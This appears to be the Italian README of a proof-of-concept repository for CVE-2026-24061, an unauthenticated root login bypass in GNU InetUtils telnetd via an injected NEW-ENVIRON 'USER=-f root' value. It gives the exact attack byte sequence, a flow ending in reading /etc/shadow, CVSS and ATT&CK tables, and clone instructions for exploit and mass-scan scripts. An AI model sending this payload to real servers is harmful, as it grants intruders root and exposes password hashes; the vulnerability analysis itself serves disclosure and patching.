
GNU InetUtils telnetd - Root remoto non autenticato tramite iniezione di variabili NEW-ENVIRON.
GNU InetUtils telnetd - Root remoto non autenticato tramite iniezione di variabili NEW-ENVIRON
Panoramica - Analisi tecnica - Versioni interessate - Utilizzo - Rimedi - Riferimenti
CVE-2026-24061 è una vulnerabilità critica di bypass dell'autenticazione nel demone telnetd distribuito come parte di GNU InetUtils. Il difetto risiede nella gestione dell'opzione Telnet NEW-ENVIRON (RFC 1572) durante la fase iniziale di handshake del protocollo.
La causa principale è la mancata sanificazione delle variabili d'ambiente fornite dal client prima di passarli al programma login(1). Quando il demone Telnet riceve un pacchetto di sub-negoziazione NEW-ENVIRON IS contenente la variabile USER con il valore -f root, passa questo valore non sanificato direttamente al binario di sistema login.
Su sistemi in cui login accetta il flag -f (login forzato senza verifica della password), ciò comporta la concessione di una sessione root non autenticata all'attaccante remoto.
Questa classe di vulnerabilità ha precedenti storici: CVE-2001-0797 in SysV telnetd e il noto bypass -f di Linux telnetd del 1994 sfruttavano la stessa mancanza fondamentale di sanificazione degli argomenti provenienti dall'ambiente passati a binari privilegiati.
Nessuna credenziale richiesta. Nessun accesso preliminare necessario. Una singola sequenza di pacchetti di rete consente di ottenere root.
GNU InetUtils telnetd elabora la sub-negoziazione NEW-ENVIRON (codice opzione 0x27, secondo RFC 1572) per raccogliere le variabili d'ambiente fornite dal client. Queste variabili vengono assemblate in un vettore di argomenti e passate a execve(2) quando viene avviato login(1).
La vulnerabilità viene attivata come segue:
IAC DO NEW-ENVIRON, richiedendo le variabili d'ambiente dal client.IAC WILL NEW-ENVIRON.IAC SB NEW-ENVIRON SEND IAC SE.IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd costruisce l'invocazione di login come login -f root.login(1) interpreta -f come "login forzato, salta l'autenticazione" e autentica l'utente specificato (root) senza richiedere una password.| Passo | Direzione | Byte Telnet (hex) | Significato |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f root funzionaIl binario login(1) su molti sistemi Linux accetta il flag -f <utente> per login "pre-autenticati", storicamente utilizzato da multiplexer di terminale e rlogin. Quando telnetd costruisce la sua chiamata exec e non riesce a rimuovere i trattini iniziali o a validare stringhe simili a opzioni nei valori delle variabili d'ambiente, passa inavvertitamente flag controllati dall'attaccante direttamente a login.
La chiamata effettiva diventa:
execve("/bin/login", ["login", "-f", "root"], envp);
Attaccante telnetd vulnerabile (porta 23)
| |
|------- TCP SYN (porta 23) ----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Banner Telnet + IAC DO NEW-ENVIRON --------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd chiama: login -f root] |
| |
|<------ Prompt shell root (#) ---------------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root contenuto /etc/shadow ----|
Prerequisiti:
telnetd (TCP/23 aperto)inetutilslogin(1) supporta il flag -f (standard sulla maggior parte delle distribuzioni Linux)| Software | Versioni interessate | Stato |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (versione patchata specifica da definire) | Vulnerabile |
| Distribuzioni che includono GNU inetutils non patchato | Varie | Consultare l'avviso del fornitore |
Verificare se la propria distribuzione include una versione patchata. Molti sistemi moderni hanno Telnet disabilitato per impostazione predefinita; l'esposizione richiede un
telnetdesplicitamente in esecuzione.
| Metrica | Valore |
|---|---|
| Punteggio base CVSS v3.1 | 9.8 (Critico) |
| Vettore di attacco | Rete |
| Complessità dell'attacco | Bassa |
| Privilegi richiesti | Nessuno |
| Interazione dell'utente | Nessuna |
| Scope | Invariato |
| Impatto sulla riservatezza | Alto |
| Impatto sull'integrità | Alto |
| Impatto sulla disponibilità | Alto |
| Stringa del vettore | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ID ATT&CK | Tattica | Tecnica | Rilevanza |
|---|---|---|---|
| T1190 | Accesso iniziale | Sfruttamento di applicazioni esposte al pubblico | Sfruttamento diretto di telnetd sulla rete |
| T1059 | Esecuzione | Interprete di comandi e script | Esecuzione di shell post-sfruttamento |
| T1078.004 | Escalation dei privilegi / Evasione delle difese | Account validi: Account locali | Il bypass dell'autenticazione produce una sessione root valida |
| T1548 | Escalation dei privilegi | Abuso del meccanismo di controllo dell'elevazione | Flag login -f abusato per bypassare PAM/autenticazione |
| T1046 | Scoperta | Scoperta dei servizi di rete | Componente di scansione di massa del PoC |
Requisiti: Python 3 (solo libreria standard, zero dipendenze esterne).
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
Nessuna necessità di pip install. Entrambi gli script utilizzano solo la libreria standard di Python.